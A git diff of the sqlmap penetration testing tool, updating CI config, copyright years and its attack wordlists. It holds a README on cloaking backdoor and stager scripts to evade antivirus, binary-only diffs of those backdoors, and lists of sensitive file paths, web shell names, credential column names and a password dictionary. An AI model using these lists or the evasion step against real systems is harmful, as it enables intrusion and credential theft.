diff --git a/.travis.yml b/.travis.yml index 17dbe469845..158eab7607d 100644 --- a/.travis.yml +++ b/.travis.yml @@ -9,9 +9,8 @@ jobs: dist: trusty - python: 3.6 dist: trusty - - python: 3.8 - dist: xenial -sudo: false + - python: nightly + dist: bionic git: depth: 1 script: diff --git a/LICENSE b/LICENSE index 3fd5aa775d2..a6c9b58d467 100644 --- a/LICENSE +++ b/LICENSE @@ -1,7 +1,7 @@ COPYING -- Describes the terms under which sqlmap is distributed. A copy of the GNU General Public License (GPL) is appended to this file. -sqlmap is (C) 2006-2020 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar. +sqlmap is (C) 2006-2021 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar. This program is free software; you may redistribute and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/README.md b/README.md index 1a01b80c7a6..3bca18a0a31 100644 --- a/README.md +++ b/README.md @@ -4,7 +4,7 @@ sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections. -**The sqlmap project is currently searching for sponsor(s).** +**sqlmap is sponsored by [SpyderSec](https://spydersec.com/).** Screenshots ---- @@ -64,6 +64,7 @@ Translations * [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md) * [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md) * [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md) +* [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-IR.md) * [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md) * [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) * [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md) diff --git a/data/html/index.html b/data/html/index.html index a7f53972f5d..a2d4dfc4479 100644 --- a/data/html/index.html +++ b/data/html/index.html @@ -1,150 +1,151 @@ - + - - - - - - - - - - - - -
- - - -
-
-

DEMO

-
-
-
- - - - + + + DEMO + + + + + + + + + + +
+ + + +
+
+

DEMO

+
+
+
+ + + + diff --git a/data/shell/README.txt b/data/shell/README.txt index 77b1c57ee9f..4c64c411648 100644 --- a/data/shell/README.txt +++ b/data/shell/README.txt @@ -1,7 +1,7 @@ -Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../extra/cloak/cloak.py utility. +Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../../extra/cloak/cloak.py utility. To prepare the original scripts to the cloaked form use this command: -find backdoors/backdoor.* stagers/stager.* -type f -exec python ../extra/cloak/cloak.py -i '{}' \; +find backdoors/backdoor.* stagers/stager.* -type f -exec python ../../extra/cloak/cloak.py -i '{}' \; To get back them into the original form use this: -find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../extra/cloak/cloak.py -d -i '{}' \; +find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../../extra/cloak/cloak.py -d -i '{}' \; diff --git a/data/shell/backdoors/backdoor.asp_ b/data/shell/backdoors/backdoor.asp_ index 9f9a20586cb..b67621e4600 100644 Binary files a/data/shell/backdoors/backdoor.asp_ and b/data/shell/backdoors/backdoor.asp_ differ diff --git a/data/shell/backdoors/backdoor.aspx_ b/data/shell/backdoors/backdoor.aspx_ index af7f6d58466..a89080be0cb 100644 Binary files a/data/shell/backdoors/backdoor.aspx_ and b/data/shell/backdoors/backdoor.aspx_ differ diff --git a/data/shell/backdoors/backdoor.jsp_ b/data/shell/backdoors/backdoor.jsp_ index d482c48cc43..a60ca725eb0 100644 Binary files a/data/shell/backdoors/backdoor.jsp_ and b/data/shell/backdoors/backdoor.jsp_ differ diff --git a/data/shell/backdoors/backdoor.php_ b/data/shell/backdoors/backdoor.php_ index 8f447ecfc9c..bb998ad79c9 100644 Binary files a/data/shell/backdoors/backdoor.php_ and b/data/shell/backdoors/backdoor.php_ differ diff --git a/data/shell/stagers/stager.asp_ b/data/shell/stagers/stager.asp_ index 7918d6ac7aa..cea69de1490 100644 Binary files a/data/shell/stagers/stager.asp_ and b/data/shell/stagers/stager.asp_ differ diff --git a/data/shell/stagers/stager.aspx_ b/data/shell/stagers/stager.aspx_ index 3a5a9b14e8b..dbcdaa68cdb 100644 Binary files a/data/shell/stagers/stager.aspx_ and b/data/shell/stagers/stager.aspx_ differ diff --git a/data/shell/stagers/stager.jsp_ b/data/shell/stagers/stager.jsp_ index ccda376ed00..3c1b55e906c 100644 Binary files a/data/shell/stagers/stager.jsp_ and b/data/shell/stagers/stager.jsp_ differ diff --git a/data/shell/stagers/stager.php_ b/data/shell/stagers/stager.php_ index 54c8930a26d..e7fe1310d5d 100644 Binary files a/data/shell/stagers/stager.php_ and b/data/shell/stagers/stager.php_ differ diff --git a/data/txt/common-columns.txt b/data/txt/common-columns.txt index 6b47653ea4c..e8ce9fddcc1 100644 --- a/data/txt/common-columns.txt +++ b/data/txt/common-columns.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission id @@ -798,7 +798,9 @@ news nick number nummer +passhash pass_hash +password_hash passwordsalt personal_key phone @@ -2726,3 +2728,4 @@ confidential # Misc u_pass +hashedPw diff --git a/data/txt/common-files.txt b/data/txt/common-files.txt index 92f64688ed0..9bcd879f790 100644 --- a/data/txt/common-files.txt +++ b/data/txt/common-files.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission # Reference: https://gist.github.com/sckalath/78ad449346171d29241a @@ -679,17 +679,6 @@ /.htaccess /.htpasswd -/[jboss]/server/default/conf/jboss-minimal.xml -/[jboss]/server/default/conf/jboss-service.xml -/[jboss]/server/default/conf/jndi.properties -/[jboss]/server/default/conf/log4j.xml -/[jboss]/server/default/conf/login-config.xml -/[jboss]/server/default/conf/server.log.properties -/[jboss]/server/default/conf/standardjaws.xml -/[jboss]/server/default/conf/standardjboss.xml -/[jboss]/server/default/deploy/jboss-logging.xml -/[jboss]/server/default/log/boot.log -/[jboss]/server/default/log/server.log /access.log /access_log /apache/conf/httpd.conf @@ -1024,17 +1013,17 @@ /mysql/my.cnf /mysql/my.ini /netserver/bin/stable/apache/php.ini -/opt/[jboss]/server/default/conf/jboss-minimal.xml -/opt/[jboss]/server/default/conf/jboss-service.xml -/opt/[jboss]/server/default/conf/jndi.properties -/opt/[jboss]/server/default/conf/log4j.xml -/opt/[jboss]/server/default/conf/login-config.xml -/opt/[jboss]/server/default/conf/server.log.properties -/opt/[jboss]/server/default/conf/standardjaws.xml -/opt/[jboss]/server/default/conf/standardjboss.xml -/opt/[jboss]/server/default/deploy/jboss-logging.xml -/opt/[jboss]/server/default/log/boot.log -/opt/[jboss]/server/default/log/server.log +/opt/jboss/server/default/conf/jboss-minimal.xml +/opt/jboss/server/default/conf/jboss-service.xml +/opt/jboss/server/default/conf/jndi.properties +/opt/jboss/server/default/conf/log4j.xml +/opt/jboss/server/default/conf/login-config.xml +/opt/jboss/server/default/conf/server.log.properties +/opt/jboss/server/default/conf/standardjaws.xml +/opt/jboss/server/default/conf/standardjboss.xml +/opt/jboss/server/default/deploy/jboss-logging.xml +/opt/jboss/server/default/log/boot.log +/opt/jboss/server/default/log/server.log /opt/apache/apache.conf /opt/apache/apache2.conf /opt/apache/conf/apache.conf @@ -1075,17 +1064,6 @@ /private/etc/httpd/httpd.conf /private/etc/httpd/httpd.conf.default /private/etc/squirrelmail/config/config.php -/private/tmp/[jboss]/server/default/conf/jboss-minimal.xml -/private/tmp/[jboss]/server/default/conf/jboss-service.xml -/private/tmp/[jboss]/server/default/conf/jndi.properties -/private/tmp/[jboss]/server/default/conf/log4j.xml -/private/tmp/[jboss]/server/default/conf/login-config.xml -/private/tmp/[jboss]/server/default/conf/server.log.properties -/private/tmp/[jboss]/server/default/conf/standardjaws.xml -/private/tmp/[jboss]/server/default/conf/standardjboss.xml -/private/tmp/[jboss]/server/default/deploy/jboss-logging.xml -/private/tmp/[jboss]/server/default/log/boot.log -/private/tmp/[jboss]/server/default/log/server.log /proc/cpuinfo /proc/devices /proc/meminfo @@ -1114,17 +1092,17 @@ /proc/self/stat /proc/self/status /proc/version -/program files/[jboss]/server/default/conf/jboss-minimal.xml -/program files/[jboss]/server/default/conf/jboss-service.xml -/program files/[jboss]/server/default/conf/jndi.properties -/program files/[jboss]/server/default/conf/log4j.xml -/program files/[jboss]/server/default/conf/login-config.xml -/program files/[jboss]/server/default/conf/server.log.properties -/program files/[jboss]/server/default/conf/standardjaws.xml -/program files/[jboss]/server/default/conf/standardjboss.xml -/program files/[jboss]/server/default/deploy/jboss-logging.xml -/program files/[jboss]/server/default/log/boot.log -/program files/[jboss]/server/default/log/server.log +/program files/jboss/server/default/conf/jboss-minimal.xml +/program files/jboss/server/default/conf/jboss-service.xml +/program files/jboss/server/default/conf/jndi.properties +/program files/jboss/server/default/conf/log4j.xml +/program files/jboss/server/default/conf/login-config.xml +/program files/jboss/server/default/conf/server.log.properties +/program files/jboss/server/default/conf/standardjaws.xml +/program files/jboss/server/default/conf/standardjboss.xml +/program files/jboss/server/default/deploy/jboss-logging.xml +/program files/jboss/server/default/log/boot.log +/program files/jboss/server/default/log/server.log /program files/apache group/apache/apache.conf /program files/apache group/apache/apache2.conf /program files/apache group/apache/conf/apache.conf @@ -1177,17 +1155,17 @@ /system/library/webobjects/adaptors/apache2.2/apache.conf /temp/sess_ /thttpd_log -/tmp/[jboss]/server/default/conf/jboss-minimal.xml -/tmp/[jboss]/server/default/conf/jboss-service.xml -/tmp/[jboss]/server/default/conf/jndi.properties -/tmp/[jboss]/server/default/conf/log4j.xml -/tmp/[jboss]/server/default/conf/login-config.xml -/tmp/[jboss]/server/default/conf/server.log.properties -/tmp/[jboss]/server/default/conf/standardjaws.xml -/tmp/[jboss]/server/default/conf/standardjboss.xml -/tmp/[jboss]/server/default/deploy/jboss-logging.xml -/tmp/[jboss]/server/default/log/boot.log -/tmp/[jboss]/server/default/log/server.log +/tmp/jboss/server/default/conf/jboss-minimal.xml +/tmp/jboss/server/default/conf/jboss-service.xml +/tmp/jboss/server/default/conf/jndi.properties +/tmp/jboss/server/default/conf/log4j.xml +/tmp/jboss/server/default/conf/login-config.xml +/tmp/jboss/server/default/conf/server.log.properties +/tmp/jboss/server/default/conf/standardjaws.xml +/tmp/jboss/server/default/conf/standardjboss.xml +/tmp/jboss/server/default/deploy/jboss-logging.xml +/tmp/jboss/server/default/log/boot.log +/tmp/jboss/server/default/log/server.log /tmp/access.log /tmp/sess_ /usr/apache/conf/httpd.conf @@ -1202,17 +1180,17 @@ /usr/lib/php.ini /usr/lib/php/php.ini /usr/lib/security/mkuser.default -/usr/local/[jboss]/server/default/conf/jboss-minimal.xml -/usr/local/[jboss]/server/default/conf/jboss-service.xml -/usr/local/[jboss]/server/default/conf/jndi.properties -/usr/local/[jboss]/server/default/conf/log4j.xml -/usr/local/[jboss]/server/default/conf/login-config.xml -/usr/local/[jboss]/server/default/conf/server.log.properties -/usr/local/[jboss]/server/default/conf/standardjaws.xml -/usr/local/[jboss]/server/default/conf/standardjboss.xml -/usr/local/[jboss]/server/default/deploy/jboss-logging.xml -/usr/local/[jboss]/server/default/log/boot.log -/usr/local/[jboss]/server/default/log/server.log +/usr/local/jboss/server/default/conf/jboss-minimal.xml +/usr/local/jboss/server/default/conf/jboss-service.xml +/usr/local/jboss/server/default/conf/jndi.properties +/usr/local/jboss/server/default/conf/log4j.xml +/usr/local/jboss/server/default/conf/login-config.xml +/usr/local/jboss/server/default/conf/server.log.properties +/usr/local/jboss/server/default/conf/standardjaws.xml +/usr/local/jboss/server/default/conf/standardjboss.xml +/usr/local/jboss/server/default/deploy/jboss-logging.xml +/usr/local/jboss/server/default/log/boot.log +/usr/local/jboss/server/default/log/server.log /usr/local/apache/apache.conf /usr/local/apache/apache2.conf /usr/local/apache/conf/access.conf @@ -1801,4 +1779,23 @@ /etc/httpd/conf.d/squirrelmail.conf /usr/share/squirrelmail/config/config.php /private/etc/squirrelmail/config/config.php -/srv/www/htdos/squirrelmail/config/config.php \ No newline at end of file +/srv/www/htdos/squirrelmail/config/config.php + +# Web shells + +/var/www/html/backdoor.php +/var/www/html/b374k.php +/var/www/html/c99.php +/var/www/html/cmd.php +/var/www/html/r57.php +/var/www/html/shell.php +/var/www/html/wso.php + +# Misc + +/etc/lib/nfs/etab +/app/app.js +/app/configure.js +/app/config/config.json +/flag.txt +/readflag diff --git a/data/txt/common-outputs.txt b/data/txt/common-outputs.txt index f5292688be5..c85f9350d72 100644 --- a/data/txt/common-outputs.txt +++ b/data/txt/common-outputs.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission [Banners] diff --git a/data/txt/common-tables.txt b/data/txt/common-tables.txt index 7f111c62135..16d462f7f25 100644 --- a/data/txt/common-tables.txt +++ b/data/txt/common-tables.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission users @@ -442,6 +442,7 @@ exchange Status WORKS_ON lines +testusers booleantests QRTZ_SIMPLE_TRIGGERS mobile_menu @@ -1824,6 +1825,7 @@ jos_comprofiler_members jos_joomblog_users jos_moschat_users knews_lostpass +korisnik korisnici kpro_adminlogs kpro_user @@ -2214,6 +2216,7 @@ admin_pwd admin_pass adminpassword admin_password +admin_passwords usrpass usr_pass pass @@ -3496,3 +3499,78 @@ utenti wm_products wp_payout_history zamowienia + +# https://deliciousbrains.com/tour-wordpress-database/ + +wp_blogmeta +wp_blogs +wp_blog_versions +wp_commentmeta +wp_comments +wp_links +wp_options +wp_postmeta +wp_posts +wp_registration_log +wp_signups +wp_site +wp_sitemeta +wp_termmeta +wp_term_relationships +wp_terms +wp_term_taxonomy +wp_usermeta +wp_users + +# https://docs.joomla.org/Tables + +assets +bannerclient +banner +bannertrack +categories +components +contact_details +content_frontpage +content_rating +content +core_acl_aro_groups +core_acl_aro_map +core_acl_aro_sections +core_acl_aro +core_acl_groups_aro_map +core_log_items +core_log_searches +extensions +groups +languages +menu +menu_types +messages_cfg +messages +migration_backlinks +modules_menu +modules +newsfeeds +plugins +poll_data +poll_date +poll_menu +polls +redirect_links +Schemas +sections +session +stats_agents +templates_menu +template_styles +update_categories +update_sites_extensions +update_sites +updates +usergroups +user_profiles +users +user_usergroup_map +viewlevels +weblinks diff --git a/data/txt/keywords.txt b/data/txt/keywords.txt index 8113c553c92..bf7ed4364ca 100644 --- a/data/txt/keywords.txt +++ b/data/txt/keywords.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission # SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml) @@ -259,6 +259,7 @@ YEAR ZONE # MySQL 5.0 keywords (reference: http://dev.mysql.com/doc/refman/5.0/en/reserved-words.html) + ADD ALL ALTER @@ -450,3 +451,424 @@ WITH WRITEXOR YEAR_MONTH ZEROFILL + +# PostgreSQL|SQL:2016|SQL:2011 reserved words (reference: https://www.postgresql.org/docs/current/sql-keywords-appendix.html) + +ABS +ACOS +ALL +ALLOCATE +ALTER +ANALYSE +ANALYZE +AND +ANY +ARE +ARRAY +ARRAY_AGG +ARRAY_MAX_CARDINALITY +AS +ASC +ASENSITIVE +ASIN +ASYMMETRIC +AT +ATAN +ATOMIC +AUTHORIZATION +AVG +BEGIN +BEGIN_FRAME +BEGIN_PARTITION +BETWEEN +BIGINT +BINARY +BLOB +BOOLEAN +BOTH +BY +CALL +CALLED +CARDINALITY +CASCADED +CASE +CAST +CEIL +CEILING +CHAR +CHARACTER +CHARACTER_LENGTH +CHAR_LENGTH +CHECK +CLASSIFIER +CLOB +CLOSE +COALESCE +COLLATE +COLLATION +COLLECT +COLUMN +COMMIT +CONCURRENTLY +CONDITION +CONNECT +CONSTRAINT +CONTAINS +CONVERT +COPY +CORR +CORRESPONDING +COS +COSH +COUNT +COVAR_POP +COVAR_SAMP +CREATE +CROSS +CUBE +CUME_DIST +CURRENT +CURRENT_CATALOG +CURRENT_DATE +CURRENT_DEFAULT_TRANSFORM_GROUP +CURRENT_PATH +CURRENT_ROLE +CURRENT_ROW +CURRENT_SCHEMA +CURRENT_TIME +CURRENT_TIMESTAMP +CURRENT_TRANSFORM_GROUP_FOR_TYPE +CURRENT_USER +CURSOR +CYCLE +DATALINK +DATE +DAY +DEALLOCATE +DEC +DECFLOAT +DECIMAL +DECLARE +DEFAULT +DEFERRABLE +DEFINE +DELETE +DENSE_RANK +DEREF +DESC +DESCRIBE +DETERMINISTIC +DISCONNECT +DISTINCT +DLNEWCOPY +DLPREVIOUSCOPY +DLURLCOMPLETE +DLURLCOMPLETEONLY +DLURLCOMPLETEWRITE +DLURLPATH +DLURLPATHONLY +DLURLPATHWRITE +DLURLSCHEME +DLURLSERVER +DLVALUE +DO +DOUBLE +DROP +DYNAMIC +EACH +ELEMENT +ELSE +EMPTY +END +END-EXEC +END_FRAME +END_PARTITION +EQUALS +ESCAPE +EVERY +EXCEPT +EXEC +EXECUTE +EXISTS +EXP +EXTERNAL +EXTRACT +FALSE +FETCH +FILTER +FIRST_VALUE +FLOAT +FLOOR +FOR +FOREIGN +FRAME_ROW +FREE +FREEZE +FROM +FULL +FUNCTION +FUSION +GET +GLOBAL +GRANT +GROUP +GROUPING +GROUPS +HAVING +HOLD +HOUR +IDENTITY +ILIKE +IMPORT +IN +INDICATOR +INITIAL +INITIALLY +INNER +INOUT +INSENSITIVE +INSERT +INT +INTEGER +INTERSECT +INTERSECTION +INTERVAL +INTO +IS +ISNULL +JOIN +JSON_ARRAY +JSON_ARRAYAGG +JSON_EXISTS +JSON_OBJECT +JSON_OBJECTAGG +JSON_QUERY +JSON_TABLE +JSON_TABLE_PRIMITIVE +JSON_VALUE +LAG +LANGUAGE +LARGE +LAST_VALUE +LATERAL +LEAD +LEADING +LEFT +LIKE +LIKE_REGEX +LIMIT +LISTAGG +LN +LOCAL +LOCALTIME +LOCALTIMESTAMP +LOG +LOG10 +LOWER +MATCH +MATCHES +MATCH_NUMBER +MATCH_RECOGNIZE +MAX +MEASURES +MEMBER +MERGE +METHOD +MIN +MINUTE +MOD +MODIFIES +MODULE +MONTH +MULTISET +NATIONAL +NATURAL +NCHAR +NCLOB +NEW +NO +NONE +NORMALIZE +NOT +NOTNULL +NTH_VALUE +NTILE +NULL +NULLIF +NUMERIC +OCCURRENCES_REGEX +OCTET_LENGTH +OF +OFFSET +OLD +OMIT +ON +ONE +ONLY +OPEN +OR +ORDER +OUT +OUTER +OVER +OVERLAPS +OVERLAY +PARAMETER +PARTITION +PATTERN +PER +PERCENT +PERCENTILE_CONT +PERCENTILE_DISC +PERCENT_RANK +PERIOD +PERMUTE +PLACING +PORTION +POSITION +POSITION_REGEX +POWER +PRECEDES +PRECISION +PREPARE +PRIMARY +PROCEDURE +PTF +RANGE +RANK +READS +REAL +RECURSIVE +REF +REFERENCES +REFERENCING +REGR_AVGX +REGR_AVGY +REGR_COUNT +REGR_INTERCEPT +REGR_R2 +REGR_SLOPE +REGR_SXX +REGR_SXY +REGR_SYY +RELEASE +RESULT +RETURN +RETURNING +RETURNS +REVOKE +RIGHT +ROLLBACK +ROLLUP +ROW +ROWS +ROW_NUMBER +RUNNING +SAVEPOINT +SCOPE +SCROLL +SEARCH +SECOND +SEEK +SELECT +SENSITIVE +SESSION_USER +SET +SHOW +SIMILAR +SIN +SINH +SKIP +SMALLINT +SOME +SPECIFIC +SPECIFICTYPE +SQL +SQLEXCEPTION +SQLSTATE +SQLWARNING +SQRT +START +STATIC +STDDEV_POP +STDDEV_SAMP +SUBMULTISET +SUBSET +SUBSTRING +SUBSTRING_REGEX +SUCCEEDS +SUM +SYMMETRIC +SYSTEM +SYSTEM_TIME +SYSTEM_USER +TABLE +TABLESAMPLE +TAN +TANH +THEN +TIME +TIMESTAMP +TIMEZONE_HOUR +TIMEZONE_MINUTE +TO +TRAILING +TRANSLATE +TRANSLATE_REGEX +TRANSLATION +TREAT +TRIGGER +TRIM +TRIM_ARRAY +TRUE +TRUNCATE +UESCAPE +UNION +UNIQUE +UNKNOWN +UNMATCHED +UNNEST +UPDATE +UPPER +USER +USING +VALUE +VALUES +VALUE_OF +VARBINARY +VARCHAR +VARIADIC +VARYING +VAR_POP +VAR_SAMP +VERBOSE +VERSIONING +WHEN +WHENEVER +WHERE +WIDTH_BUCKET +WINDOW +WITH +WITHIN +WITHOUT +XML +XMLAGG +XMLATTRIBUTES +XMLBINARY +XMLCAST +XMLCOMMENT +XMLCONCAT +XMLDOCUMENT +XMLELEMENT +XMLEXISTS +XMLFOREST +XMLITERATE +XMLNAMESPACES +XMLPARSE +XMLPI +XMLQUERY +XMLSERIALIZE +XMLTABLE +XMLTEXT +XMLVALIDATE +YEAR diff --git a/data/txt/smalldict.txt b/data/txt/smalldict.txt index 376f4859738..55fe63bd61d 100644 --- a/data/txt/smalldict.txt +++ b/data/txt/smalldict.txt @@ -1,26 +1,50 @@ ------- !@#$% !@#$%^ !@#$%^& !@#$%^&* -@#$%^& * +***** +****** +------ 0 +0.0.0.000 +0.0.000 0000 00000 000000 0000000 00000000 +0000007 +000001 +000007 0007 +0069 007 007007 +007bond +0101 +010101 01011980 01012011 010203 +0123 +012345 +0123456 +01234567 0123456789 +020202 +030303 +0420 +050505 06071992 +0660 +0815 +090909 +0911 +0987 098765 +09876543 0987654321 0racl3 0racl38 @@ -33,28 +57,103 @@ 0racle9 0racle9i 1 +1000 +100000 +1001 +100100 +1002 +1003 +1004 +1005 +1007 +1008 +1010 101010 +10101010 +1011 +1012 +1013 +1014 +1015 +1016 +1017 +1018 +1020 102030 1022 +1023 +1024 +1025 +1026 +1027 +1028 +1029 +102938 +1030 +1031 +1066 10sne1 +1101 +1102 +1103 +1104 1111 11111 111111 1111111 11111111 1111111111 +11112222 +1112 111222 +1114 +1115 +1117 +1120 +1121 +1122 +112211 112233 11223344 +1123 +112358 +11235813 +1124 +1125 +1129 +1200 +1201 +1204 +1205 +120676 +1207 +1208 +1209 +1210 +1211 1212 121212 12121212 1213 +121314 1214 +1215 +1216 +1220 +1221 +1223 +1224 1225 +1226 +1227 +1228 123 +1230 +123098 +1231 12312 123123 +12312312 123123123 123123a 12321 @@ -62,6 +161,7 @@ 123321 1234 12341234 +1234321 12344321 12345 1234554321 @@ -73,69 +173,130 @@ 12345678910 123456789a 123456789q +12345679 123456a 123456q +123457 12345a 12345q 12345qwert 1234abcd 1234qwer +1235 123654 123654789 123789 +123987 +123aaa 123abc 123asd 123asdf 123go 123qwe +1245 124578 +1269 12axzas21a 12qwaszx 1313 131313 +13131313 1316 1332 134679 +1357 13579 +135790 +1369 1412 +1414 141414 +14141414 142536 +142857 1430 +143143 147147 147258 +14725836 147258369 147852 147852369 +1478963 +14789632 +1492 +1515 151515 +159159 159357 159753 159951 +1616 +161616 +1701 1701d +1717 171717 +17171717 +1776 +1812 1818 181818 +18436572 +187187 1911 +1919 +191919 1928 +1941 +1942 +1943 +1944 +1945 +1946 +1947 1948 +1949 1950 +1951 1952 1953 +1954 1955 1956 +1957 +1958 +1959 1960 +1961 +1962 +1963 1964 +1965 1966 +1967 +1968 1969 +19691969 +196969 +1970 +1971 +1972 1973 1974 +19741974 1975 +1976 1977 1978 +19781978 1979 1980 1981 1982 +1983 1984 +19841984 1985 1986 1987 @@ -147,130 +308,481 @@ 199220706 1993 1994 +1995 1996 +1997 +1998 +1999 +199999 1a2b3c 1a2b3c4d 1chris 1kitty 1p2o3i +1passwor 1q2w3e 1q2w3e4r 1q2w3e4r5t +1qaz 1qaz2wsx 1qazxsw2 1qw23e 1qwerty +1x2zkg8w 2000 +200000 +20002000 2001 +20012001 +2002 +2003 +2004 +2005 +2010 2020 202020 +20202020 2112 21122112 +2121 212121 +21212121 22 2200 +2211 2222 22222 222222 2222222 22222222 +222333 +222777 +223344 2252 +2323 232323 +23232323 +2345 +234567 +23skidoo +2424 242424 +24242424 +2468 +24680 246810 +24682468 +2469 +2525 252525 +25252525 256879 +2580 +25802580 +2626 +262626 +2727 +272727 +2828 +282828 +292929 +2fast4u 2kids +3000gt +3006 3010 +3030 +303030 3112 +311311 +3131 +313131 3141 +314159 +31415926 315475 +321123 321321 +321654 +3232 +323232 +332211 333 3333 33333 333333 3333333 33333333 +333666 +336699 +3434 +343434 3533 +353535 +362436 +3636 +363636 36633663 369 +369369 +373737 +383838 +393939 3bears +3ip76k2 +4040 +404040 4055 +4121 4128 +414141 +4200 +420000 +420247 420420 +4242 +424242 +426hemi 4321 +434343 +4417 4444 44444 444444 4444444 44444444 +445566 +4545 +454545 456123 +456321 +456456 +456654 +4567 456789 +464646 +4711 +474747 4788 4815162342 +484848 485112 4854 +494949 +49ers +4ever 4runner +5000 5050 +505050 +50cent +50spanks 5121 514007 5150 +515000 +51505150 +515151 5252 +525252 +5329 +535353 +5424 54321 +543210 +5454 +545454 +5551212 5555 55555 555555 5555555 55555555 +555666 +5656 +565656 +5678 +567890 5683 +575757 57chevy +585858 +606060 +616161 6262 +626262 6301 +635241 +636363 +646464 654321 +655321 +656565 6666 66666 666666 6666666 66666666 +666777 +666999 +676767 +686868 6969 696969 69696969 +6996 +7007 +717171 +727272 +737373 741852 741852963 +747474 +753159 753951 +757575 7654321 +767676 +7734 777 7777 77777 777777 7777777 77777777 +7779311 +778899 786786 +787878 +789123 +7894 789456 +78945612 789456123 +789654 +789789 +789987 +797979 7dwarfs 80486 +818181 +81fukkc 852456 8675309 +868686 87654321 +878787 8888 88888 888888 8888888 88888888 +8989 +898989 90210 +909090 911 +911911 9379992 +951753 +963852 +969696 +987456 +9876 +98765 987654 98765432 987654321 +987987 +989898 9999 99999 999999 9999999 99999999 999999999 +????? +?????? +@#$%^& +ABC123 +Abcdef +Abcdefg +Admin +Alexis +Alpha +Andrew +Animals +Anthony +Ariel +Asdfgh +BOSS +Bailey +Bastard +Beavis +Bismillah +Bond007 +Bonzo +Booboo +Boston +Broadway +Canucks +Cardinal +Carol +Casio +Celtics +Champs +ChangeMe +Changeme +Charlie +Chris +Computer +Cougar +Creative +Curtis +Daniel +Darkman +Denise +Dragon +Eagles +Elizabeth +Esther +Family +Figaro +Fisher +Fishing +Fortune +Freddy +Friday +Friends +Front242 +FuckYou +Fuckyou +Gandalf +Geronimo +Gingers +Gizmo +Golden +Goober +Gretel +HARLEY +Hacker +Hammer +Harley +Heather +Hello +Hendrix +Henry +Hershey +Homer +Internet +JSBach +Jackson +Janet +Jeanne +Jennifer +Jersey +Jessica +Joanna +Johnson +Jordan +Joshua +KILLER +Katie +Killer +Kitten +Knight +Liberty +Lindsay +Lizard +Login +Madeline +Margaret +Master +Matthew +Maxwell +Mellon +Merlot +Metallic +Michael +Michel +Michel1 +Michelle +Monday +Money +Monster +Montreal +NCC1701 +Newton +Nicholas +Noriko +OU812 +October +PASSWORD +PPP +Paladin +Pamela +Passw0rd +Password +Password1 +Peaches +Peanuts +Pentium +Pepper +Peter +Phoenix +Piglet +Pookie +Princess +Purple +Qwert +Qwerty +Rabbit +Raiders +Raistlin +Random +Rebecca +Robert +Russell +Sammy +Saturn +Service +Shadow +Sidekick +Sierra +Skeeter +Smokey +Snoopy +Sparky +Speedy +Sterling +Steven +Summer +Sunshine +Superman +Sverige +Swoosh +Taurus +Taylor +Tennis +Theresa +Thomas +Thunder +Tigger +Tuesday +Usuckballz1 +Vernon +Victoria +Vincent +Waterloo +Webster +Willow +Windows +Winnie +Wolverine +Woodrow +World +Zxcvb +Zxcvbnm a a12345 a123456 @@ -279,32 +791,41 @@ a1b2c3 a1b2c3d4 aa aaa +aaa111 aaaa aaaaa aaaaaa +aaaaaaa aaaaaaaa +aaliyah aardvark aaron +aaron1 abacab abbott abby abc abc123 -ABC123 +abc1234 abc12345 +abcabc abcd abcd123 abcd1234 abcde abcdef -Abcdef abcdefg -Abcdefg abcdefgh +aberdeen abgrtyu abigail abm +abnormal +abraham absolut +absolute +absolutely +abstr academia academic access @@ -312,70 +833,107 @@ access14 accord account ace +aceace +achilles +achtung +acidburn acropolis action active acura ada adam +adam12 +adams +addict +addison adg adgangskode adi adidas adldemo admin -Admin admin1 admin12 admin123 adminadmin administrator +admiral adobe1 adobe123 adobeadobe +adonis adrian adriana adrianna +adrienne adrock +adult +adults +advance +advent advil aerobics africa +again agent +aggies agosto agustin ahl ahm +aikido +aikman +aileen airborne +airbus airforce +airman airoplane airplane +airport airwolf +aisan ak akf7d98s2 aki123 +akira alabama +aladin +alan +alanis alaska albany +albatros albatross albert +alberta alberto +albion +alchemy +alcohol +alejandr alejandra alejandro alex alex1 +alexalex alexande alexander alexandr alexandra +alexia alexis -Alexis alf +alfa alfaro alfred 